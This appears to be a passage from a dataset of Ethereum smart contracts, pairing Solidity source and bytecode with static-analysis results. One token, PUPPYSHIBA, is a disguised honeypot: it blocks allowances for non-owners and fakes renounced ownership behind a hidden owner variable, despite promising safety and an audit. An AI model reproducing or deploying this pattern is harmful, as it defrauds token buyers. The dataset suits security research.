function transferToken(address to, uint256 tokenId) public returns (bool success);
}
contract TransferInterfaceERC20 {
function transfer(address to, uint tokens) public returns (bool success);
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol
// ----------------------------------------------------------------------------
contract YouCollectBase is Owned {
using SafeMath for uint256;
event RedButton(uint value, uint totalSupply);
// Payout
function payout(address _to) public onlyCLevel {
_payout(_to, this.balance);
}
function payout(address _to, uint amount) public onlyCLevel {
if (amount>this.balance)
amount = this.balance;
_payout(_to, amount);
}
function _payout(address _to, uint amount) private {
if (_to == address(0)) {
ceoAddress.transfer(amount);
} else {
_to.transfer(amount);
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCEO returns (bool success) {
return TransferInterfaceERC20(tokenAddress).transfer(ceoAddress, tokens);
}
}
contract Donate is YouCollectBase {
mapping (uint256 => address) public tokenIndexToOwner;
mapping (uint256 => uint256) public tokenIndexToPrice;
mapping (uint256 => address) public donateAddress;
mapping (uint256 => address) public tokenWinner;
uint256 donateTokenCount;
uint256 highestPrice = 0.001 ether;
address public nextRoundWinner;
uint256 lastBuyBlock;
uint256 roundDelay = 1999;
bool started = false;
event TokenSold(uint256 indexed tokenId, uint256 price, address prevOwner, address winner);
/*** CONSTRUCTOR ***/
function Donate() public {
}
/// For creating Collectibles
function addDonateTokenAddress(address adr) external onlyCEO {
donateTokenCount = donateTokenCount.add(1);
donateAddress[donateTokenCount] = adr;
}
function updateDonateTokenAddress(address adr, uint256 tokenId) external onlyCEO {
donateAddress[tokenId] = adr;
}
function changeRoundDelay(uint256 delay) external onlyCEO {
roundDelay = delay;
}
function getBlocksUntilNextRound() public view returns(uint) {
if (lastBuyBlock+roundDelay<block.number)
return 0;
return lastBuyBlock + roundDelay - block.number + 1;
}
function start() public onlyCEO {
started = true;
startNextRound();
}
function startNextRound() public {
require(started);
require(lastBuyBlock+roundDelay<block.number);
tokenIndexToPrice[0] = highestPrice;
tokenIndexToOwner[0] = nextRoundWinner;
tokenWinner[0] = tokenIndexToOwner[0];
for (uint index = 1; index <= donateTokenCount; index++) {
tokenIndexToPrice[index] = 0.001 ether;
tokenWinner[index] = tokenIndexToOwner[index];
}
highestPrice = 0.001 ether;
lastBuyBlock = block.number;
}
function getNextPrice(uint price) public pure returns (uint) {
if (price < 1 ether)
return price.mul(200).div(87);
return price.mul(120).div(87);
}
function buyToken(uint _tokenId) public payable {
address oldOwner = tokenIndexToOwner[_tokenId];
uint256 sellingPrice = tokenIndexToPrice[_tokenId];
require(oldOwner!=msg.sender);
require(msg.value >= sellingPrice);
require(sellingPrice > 0);
uint256 purchaseExcess = msg.value.sub(sellingPrice);
uint256 payment = sellingPrice.mul(87).div(100);
uint256 feeOnce = sellingPrice.sub(payment).div(13);
uint256 feeThree = feeOnce.mul(3);
uint256 nextPrice = getNextPrice(sellingPrice);
// Update prices
tokenIndexToPrice[_tokenId] = nextPrice;
// Transfers the Token
tokenIndexToOwner[_tokenId] = msg.sender;
lastBuyBlock = block.number;
if (_tokenId > 0) {
// Taxes for last round winner or new owner of the All-Donate-Token
if (tokenIndexToOwner[0]!=address(0))
tokenIndexToOwner[0].transfer(feeThree);
// Check for new winner of this round
if (nextPrice > highestPrice) {
highestPrice = nextPrice;
nextRoundWinner = msg.sender;
}
}
// Donation
donateAddress[_tokenId].transfer(feeThree);
// Taxes for last round token winner
if (tokenWinner[_tokenId]!=address(0))
tokenWinner[_tokenId].transfer(feeThree);
// Taxes for universe
yct.ownerOf(0).transfer(feeOnce);
// Payment for old owner
if (oldOwner != address(0)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, oldOwner, msg.sender);
// refund when paid too much
if (purchaseExcess>0)
msg.sender.transfer(purchaseExcess);
}
function getCollectibleWithMeta(uint256 tokenId) public view returns (uint256 _tokenId, uint256 sellingPrice, address owner, uint256 nextSellingPrice, address _tokenWinner, address _donateAddress) {
_tokenId = tokenId;
sellingPrice = tokenIndexToPrice[tokenId];
owner = tokenIndexToOwner[tokenId];
nextSellingPrice = getNextPrice(sellingPrice);
_tokenWinner = tokenWinner[tokenId];
_donateAddress = donateAddress[tokenId];
}
} | 0x60606040526004361061015b5763ffffffff60e060020a6000350416630a0f816881146101605780630b7e9c441461018f578063117de2fd146101b0578063172ce8d3146101d25780631d36e06c1461020557806323bfc7771461021b57806327d7874c146102315780632ba73c15146102505780632d296bf11461026f5780633c3ccc441461027a578063450a91051461028d5780635e25f96d146102ac57806368660b93146102cb5780636e62cdab146102ed5780636e92c84314610300578063804afffb1461031657806382a147cd1461033e57806386f7993e1461036257806392e18d9f14610375578063976e0da914610394578063b047fb50146103aa578063b4c5c983146103bd578063be9a655514610429578063d19e23641461043c578063dc39d06d1461045b578063e1187e2e1461047d578063f35ba5d3146104d8578063faaad90f146104eb578063fe5c1a11146104fe575b600080fd5b341561016b57600080fd5b610173610514565b604051600160a060020a03909116815260200160405180910390f35b341561019a57600080fd5b6101ae600160a060020a0360043516610523565b005b34156101bb57600080fd5b6101ae600160a060020a0360043516602435610570565b34156101dd57600080fd5b6101f1600160a060020a03600435166105d3565b604051901515815260200160405180910390f35b341561021057600080fd5b6101736004356105e8565b341561022657600080fd5b6101ae600435610603565b341561023c57600080fd5b6101ae600160a060020a0360043516610623565b341561025b57600080fd5b6101ae600160a060020a0360043516610675565b6101ae6004356106c7565b341561028557600080fd5b6101ae610a9c565b341561029857600080fd5b6101ae600160a060020a0360043516610bce565b34156102b757600080fd5b6101ae600160a060020a0360043516610c23565b34156102d657600080fd5b6101ae600160a060020a0360043516602435610c78565b34156102f857600080fd5b610173610cc1565b341561030b57600080fd5b610173600435610cd0565b341561032157600080fd5b61032c600435610ceb565b60405190815260200160405180910390f35b341561034957600080fd5b6101ae600160a060020a03600435166024351515610cfd565b341561036d57600080fd5b6101ae610d43565b341561038057600080fd5b6101ae600160a060020a0360043516610d9c565b341561039f57600080fd5b61032c600435610df1565b34156103b557600080fd5b610173610e3e565b34156103c857600080fd5b6101ae60048035600160a060020a0390811691602480358316926044351691906084906064359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650610e4d95505050505050565b341561043457600080fd5b6101ae610f4a565b341561044757600080fd5b6101ae600160a060020a0360043516610f7c565b341561046657600080fd5b6101f1600160a060020a0360043516602435610fde565b341561048857600080fd5b610493600435611081565b6040519586526020860194909452600160a060020a03928316604080870191909152606086019290925282166080850152911660a083015260c0909101905180910390f35b34156104e357600080fd5b6101ae6110ed565b34156104f657600080fd5b61032c611146565b341561050957600080fd5b610173600435611170565b600054600160a060020a031681565b60005433600160a060020a039081169116148061054e575060015433600160a060020a039081169116145b151561055957600080fd5b61056d8130600160a060020a03163161118b565b50565b60005433600160a060020a039081169116148061059b575060015433600160a060020a039081169116145b15156105a657600080fd5b30600160a060020a0316318111156105c55750600160a060020a033016315b6105cf828261118b565b5050565b60046020526000908152604090205460ff1681565b600860205260009081526040902054600160a060020a031681565b60005433600160a060020a0390811691161461061e57600080fd5b601055565b60005433600160a060020a0390811691161461063e57600080fd5b600160a060020a038116151561065357600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461069057600080fd5b600160a060020a03811615156106a557600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b6000818152600860209081526040808320546009909252822054600160a060020a039182169290918190819081908190331687141561070557600080fd5b348690101561071357600080fd5b6000861161072057600080fd5b610730348763ffffffff61120416565b9450610754606461074888605763ffffffff61121616565b9063ffffffff61124c16565b935061076b600d610748888763ffffffff61120416565b925061077e83600363ffffffff61121616565b915061078986610df1565b6000898152600960209081526040808320849055600890915281208054600160a060020a03191633600160a060020a031617905543600f5590915088111561088a576000805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c754600160a060020a03161561085f576000805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c754600160a060020a031682156108fc0283604051600060405180830381858888f19350505050151561085f57600080fd5b600d5481111561088a57600d819055600e8054600160a060020a03191633600160a060020a03161790555b6000888152600a60205260409081902054600160a060020a03169083156108fc0290849051600060405180830381858888f1935050505015156108cc57600080fd5b6000888152600b6020526040902054600160a060020a03161561092b576000888152600b60205260409081902054600160a060020a03169083156108fc0290849051600060405180830381858888f19350505050151561092b57600080fd5b600654600160a060020a0316636352211e6000806040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561097c57600080fd5b6102c65a03f1151561098d57600080fd5b5050506040518051600160a060020a0316905083156108fc0284604051600060405180830381858888f1935050505015156109c757600080fd5b600160a060020a03871615610a0757600160a060020a03871684156108fc0285604051600060405180830381858888f193505050501515610a0757600080fd5b877fb45b7a510d22eabde36919bed5551eccad687e7b55e2d2aa3033dc0786a9877b878933604051928352600160a060020a039182166020840152166040808301919091526060909101905180910390a26000851115610a9257600160a060020a03331685156108fc0286604051600060405180830381858888f193505050501515610a9257600080fd5b5050505050505050565b60115460009060ff161515610ab057600080fd5b601054600f5443910110610ac357600080fd5b50600d54600080527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b55600e547f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c78054600160a060020a03928316600160a060020a03199182161791829055600b6020527fdf7de25b7f1fd6d0b5205f0e18f1f35bd7b8d84cce336588d184533ce43a6f76805492909316911617905560015b600c548111610bbc57600081815260096020908152604080832066038d7ea4c6800090556008825280832054600b9092529091208054600160a060020a031916600160a060020a03909216919091179055600101610b63565b5066038d7ea4c68000600d5543600f55565b60015433600160a060020a03908116911614610be957600080fd5b60068054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b60015433600160a060020a03908116911614610c3e57600080fd5b60058054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b60005433600160a060020a03908116911614610c9357600080fd5b6000908152600a602052604090208054600160a060020a031916600160a060020a0392909216919091179055565b600e54600160a060020a031681565b600b60205260009081526040902054600160a060020a031681565b60096020526000908152604090205481565b60015433600160a060020a03908116911614610d1857600080fd5b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b60035433600160a060020a03908116911614610d5e57600080fd5b600354600160a060020a03161515610d7557600080fd5b6003805460018054600160a060020a0319908116600160a060020a03841617909155169055565b60015433600160a060020a03908116911614610db757600080fd5b60078054600160a060020a03909216600160a060020a0319909216821790556000908152600460205260409020805460ff19166001179055565b6000670de0b6b3a7640000821015610e2057610e1960576107488460c863ffffffff61121616565b9050610e39565b610e36605761074884607863ffffffff61121616565b90505b919050565b600154600160a060020a031681565b60015460009033600160a060020a03908116911614610e6b57600080fd5b5060058054600160a060020a03808716600160a060020a0319928316811790935560068054878316908416811790915560078054928716929093168217909255600092835260046020526040808420805460ff1990811660019081179092559385528185208054851682179055918452832080549092161790555b81518161ffff161015610f4357600160046000848461ffff1681518110610f0957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101610ee6565b5050505050565b60005433600160a060020a03908116911614610f6557600080fd5b6011805460ff19166001179055610f7a610a9c565b565b60005433600160a060020a03908116911614610f9757600080fd5b600c54610fab90600163ffffffff61126316565b600c8190556000908152600a602052604090208054600160a060020a031916600160a060020a0392909216919091179055565b6000805433600160a060020a03908116911614610ffa57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561106057600080fd5b6102c65a03f1151561107157600080fd5b5050506040518051949350505050565b60008181526009602090815260408083205460089092528220548392600160a060020a039091169080806110b485610df1565b6000978852600b60209081526040808a2054600a909252909820549698959794969095600160a060020a03958616959091169350915050565b60025433600160a060020a0390811691161461110857600080fd5b600254600160a060020a0316151561111f57600080fd5b6002805460008054600160a060020a0319908116600160a060020a03841617909155169055565b600043601054600f5401101561115e5750600061116d565b43601054600f54010360010190505b90565b600a60205260009081526040902054600160a060020a031681565b600160a060020a03821615156111d357600054600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156111ce57600080fd5b6105cf565b600160a060020a03821681156108fc0282604051600060405180830381858888f1935050505015156105cf57600080fd5b60008282111561121057fe5b50900390565b6000808315156112295760009150611245565b5082820282848281151561123957fe5b041461124157fe5b8091505b5092915050565b600080828481151561125a57fe5b04949350505050565b60008282018381101561124157fe00a165627a7a7230582028de85807a94f9f6c891553efd5b1eaefad1b462f032d1c8077694c32f3f40830029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,615 |
0xcaecd7d207e50f91815204f18908ab108d7dbcdc | /**
PUPPYSHIBA 🐶
PuppyShiba is new Shiba on the block! $PUPPY is a highly deflationary token on the Ethereum blockchain.
Through it’s tokenomoics Puppyshiba has the ultimate goal to forever pump by doing multiple buyback and burns.
🔥 SAFU DEV
🔥 BIG MARKETING CAMPAIGN
🔥 LIQUIDITY LOCK 2 MONTHS
🔥 NO PRIVATE SALE/ NO PRESALE TOKENS
🔥 ANTI-BOT
🔥 ANTI-SNIPE
🔥 CONTRACT AUDIT BEFORE LAUNCH
🔥 TEAM TOKENS LOCKED AND VESTED
🔥 CONTRACT WILL REANNOUNCED AFTER LAUNCH
Official links:
☑️TG Portal: t.me/puppyshibaercportal
☑️ Twitter: https://twitter.com/
☑️ Website: https://puppyshiba.dog
☑️ Contract Audit: https://puppyshiba.dog/paudit.pdf
$PUPPY - Supply 100,000,000
Buy 10%:
Buyback & Burn | 5%
Marketing | 4%
Development | 1%
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PUPPYSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**6* 10**18;
string private _name = 'PUPPYSHIBA ' ;
string private _symbol = 'PUPPY ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ec8c6af696440eade9fb5158a5be1faf2136bdd32a8072d3d7c3f31866a8a1f264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,616 |
0xD006D7AB8eC86C1814365F567609c4EB4fc75497 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
